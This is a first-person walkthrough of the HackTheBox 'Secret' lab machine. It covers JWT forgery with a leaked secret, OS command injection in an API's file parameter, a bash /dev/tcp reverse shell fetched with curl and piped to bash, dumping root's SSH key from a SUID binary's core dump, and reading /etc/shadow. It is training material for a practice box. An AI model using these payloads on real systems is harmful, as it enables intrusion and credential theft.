Secret HackTheBox WalkThrough
Secret HackTheBox machine walkthrough. In this writeup I have demonstrated step-by-step how I rooted Secret
HTB machine. Before starting let us know something about this machine.
It is a
Linux OS box with IP address
10.10.11.120 and difficulty
easy assigned by its maker. First of all, connect your PC with
HackTheBox VPN and make sure your connectivity with
Secret machine by pinging its IP 10.10.11.120. If all goes correct then it is time to start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing various services running over different ports and helps in vulnerability assessment also. I have used
$ nmap [ port scanner ] for this task and the result is given below: –
$ sudo nmap -p- --min-rate 10000 -oN nmap-alltcp.nmap 10.10.11.120
$ sudo nmap -p 22,80,3000 -sV -sC -oN nmap-tcpscripts.nmap 10.10.11.120
Full port scan with
nmap revealed only 3 ports as open.
OpenSSH 8.2p1 is running over port
22, using this port we will access the
Secret machine once we will get SSH credential of any user. For now, we don’t have any SSH credential so we will come to it after finding some credential.
Nginx 1.18.0 web server is running over port
Node.js (Express Middleware) is running on port
3000. A quick search for public vulnerabilities and exploits in Nginx 1.18.0 and Node.js does not found any, which means they are completely patched. We require to find some other techniques or attack vector to get into this machine.
On-going to URLs http://10.10.11.120/ and http://10.10.11.120:3000 found the same web page which is a documentation on how to use their
Auth APIs to develop your project. It consists of various steps how to implement their Web Services in your project. There is also
Source Code of the application available.
Before digging deeper into the enumeration part, let us download and unzip the code and see what useful information we can get from them.
Downloading & Unzipping Source Code
Once I downloaded and unzipped the source code I found a
.git folder inside it. If you don’t know about
.git folder then you can check it from here.
.git folder contains all the information that is necessary for your project in version control and all the information about commits, remote repository address, etc. All of them are present in this folder. It also contains a log that stores your commit history so that you can roll back to history.
Once I got this folder then tried to check its
commit log because they may contain some useful and secret information as the name of the machine is Secret. After digging further in to the commit logs found a
$ wget http://10.10.11.120:3000/download/files.zip
$ unzip -q files.zip
$ cd local-web/
$ git log -p -3
Didn’t know where to use this token till now. After spending some time at URL https://10.10.11.120 found that there are some end points using which we can
register new user. And after registration when we try to login back it gives us a
JWT Token. Once I got the name JWT Token I could relate our
TOKEN_SECRET with it. Now we have a lot to play with. We can sign the JWT Token with TOKEN_SECRET after making some changes into it. So first of all, let us register a new user and then login back to get a token from the server.
I just followed all the steps given in the documentation section at URL http://10.10.11.120:3000/docs. I have used
Postman [ an API platform or simply software for building and using APIs ] for this. You can also use
$ curl command for registering new user and doing all the further steps.
Registering New User
Login into Registered User
We have got a
JWT Token let us use this token to check our privilege http://10.10.11.120:3000/api/priv.
Currently we are logged in as normal user
deepak. Let us know more about the JWT Token which we have got after logging. I am using
JWT_Tool for this. We can perform various attacks like
Abusing None Algorithm,
Signature Stripping &
Key Confusion Attack on JWT Token using this tool. You can know more about it from here.
$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMwYjYzYTZmYzQ2YTA5YjY5YjcyYzUiLCJuYW1lIjoiZGVlcGFrIiwiZW1haWwiOiJkZWVwYWtAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQwMDE5NjU2fQ.OICARFA-CSicVBfulgaL8XY_2OWUzybJJm06z9_ucPY
We can perform above mentioned attack on this JWT Token to elevate our privilege to
private.js file inside
local-web/routes/ directory revealed that if name inside the token payload will be
theadmin then the user is assigned
$ nano local-web/routes/private.js
Forging JWT Token with Known Secret
Since we already have TOKEN_SECRET we can use this key to sign our JWT Token after modifying the
name part in
payload section and for this we will use
hs256 algorithm. Let us use
jwt_tool for this job. Here this tool will first of all replace
theadmin in payload section and then it will sign this Token using hs256 algorithm using our TOKEN_SECRET then generate a
$ sudo jwt_tool -S hs256 -I -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMwYjYzYTZmYzQ2YTA5YjY5YjcyYzUiLCJuYW1lIjoiZGVlcGFrIiwiZW1haWwiOiJkZWVwYWtAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQwMDE5NjU2fQ.OICARFA-CSicVBfulgaL8XY_2OWUzybJJm06z9_ucPY
We have got a new token. Let us use this token to check our privilege using
admin privilege now. Now the work of JWT Token abuse is over. We have to find some other attack vector using which we can get in to the
Secret machine. After further analyzing
private.js file we found that there can be a
Command Injection vulnerability because there is an
exec() function which is accepting a file and then execute it. The issue here arises because the file parameter is not validating the input before it passes to
exec() function. The attacker can execute OS command here using some concatenating characters like
;, etc. For more info about OS Command Injection check this article from
$ nano local-web/routes/private.js
Confirming OS Command Injection
Let us confirm OS command injection using
$ curl command.
$ curl -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMwYjYzYTZmYzQ2YTA5YjY5YjcyYzUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRlZXBha0BkYXNpdGgud29ya3MiLCJpYXQiOjE2NDAwMTk2NTZ9.rVPcnMcCguZj7t_huk9PoX7EuuYYWvN03R_lO5IdWjY" "http://10.10.11.120/api/logs?file=;id"
userid of user
dasith in the output. From this we can confirm OS Command Injection vulnerability. Let us get user shell. There are multiple ways to get shell. You can use some
one liner reverse shell code or you can download your file containing shell code on the remote machine then pipe it to bash. I am going to download my reverse shell code on
Note: You can follow either method and check which method works for you.
Getting User Shell
To get reverse shell.
- First of all, create a file shell.sh with one liner reverse shell code, in First Terminal.
- Host this file using python http server.
- Start Netcat listener, in Second Terminal.
- At last Download & execute the shell.sh file on Secret machine using OS Command Injection Vulnerability.
$ cat shell.sh
bash -i >& /dev/tcp/10.10.17.97/9001 0>&1
$ python3 -m http.server 8001
$ nc -nvlp 9001
$ whoami && id
$ curl -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMwYjYzYTZmYzQ2YTA5YjY5YjcyYzUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRlZXBha0BkYXNpdGgud29ya3MiLCJpYXQiOjE2NDAwMTk2NTZ9.rVPcnMcCguZj7t_huk9PoX7EuuYYWvN03R_lO5IdWjY" "http://10.10.11.120/api/logs?file=;curl+http://10.10.17.97:8001/shell.sh|bash"
We have got a shell with user dasith privilege. Let us upgrade it to fully qualified Linux shell so that we can run more advanced Linux command through it.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z # CTRL + Z
$ stty raw -echo
$ fg # plus 2 times enter
$ export TERM=xterm
We have upgraded our shell. Now capture user flag.
Capturing User Flag
$ cat ~/user.txt
To escalate the privilege to
root we have to first find a
privilege escalation vector using which we can perform privilege escalation. We can find
PrivEsc vector either manually or using some post exploitation enumeration scripts like
LinEnum.sh and there are a lot more.
Finding PrivEsc Vector
suid3num.py, which is a python script for enumerating all the
SUID binaries of the machine. You can get the script from here. Simply download the script from your host machine to secret machine and pipe it to python2/python3. It will get executed while it is in memory.
$ curl http://10.10.17.97:9001/suid3num.py | python3
$ python3 -m http.server 9001
suid3num.py found a custom SUID binary
count present inside
SUID binaries are those executables which are owned by someone else but when executed by another user they are executed by the permission of its owner.
On checking the permission of
count we found that it has only executable permission given by the root user to normal user [here, dasith]. If this file would have
writeable permission for other user, then we could put our reverse shell code inside this file and when it gets executed, we would get reverse shell with root user. But, currently user
dasith doesn’t have any write permission.
Analyzing Code.c File
There is also a
code.c file which appears to be the
source code of count binary. After executing
count alone and checking the
code.c file it appears that both the files are same.
$ vi /opt/code.c
code.c file contains a function
prctl(PR_SET_DUMPABLE, 1) which creates a
coredump when this file [count] is forcefully stopped in middle of its execution. Since this file is executed by the permission of root user so during its execution, we can request some high privilege file like
id_rsa key of root user or
root.txt file. Once it try to deny their access [due to
setuid(getuid()) function] we can create a coredump by forcefully killing this process. And in our coredump we will get the content of the required file, i.e., id_rsa key of root user.
When I tried to create a coredump of id_rsa key of root user I could easily dump it. So here our potential privilege escalation vector is
Privilege Escalation by exploiting SUID Binary through Coredump.
To create a coredump get another shell by command injection, because we will require two separate shells for this. Execute the count binary in
Shell 1 and enter the path of
id_rsa [SSH Private Key] of root user viz.
/root/.ssh/id_rsa and do nothing. Now in
Shell 2 simply kill the count process. We will get
Bus error (core dumped) message in Shell 1.
Enter source file/directory name: /root/.ssh/id_rsa
$ ps -aux | grep count
$ kill -BUS 4131
Dumping SSH Private Key
Now run the following commands to access the private key of root user, in any shell. Simply copy the
id_rsa key as highlighted in the screenshot and save in a file named
$ ls /var/crash/
$ mkdir /tmp/Dump
$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/Dump/
$ ls /tmp/Dump/
$ strings /tmp/Dump/CoreDump
Getting Root Shell
To get root shell first of all save the above highlighted text in a file id_rsa then make it
executable and using SSH, login to root user account.
$ nano id_rsa
$ chmod 400 id_rsa
$ ssh -i id_rsa [email protected]
# whoami && id
We have successfully SSH into root account. Let us capture root flag.
Capture Root Flag
# cat root.txt
This was how I rooted Secret HackTheBox machine. Learnt a lot after solving this box. Hope you will have also learnt some new things. Thanks for reading this walkthrough. For any query and suggestion about the walkthrough feel free to write us at [email protected].
Dumping Root Hash
# cat /etc/shadow | grep root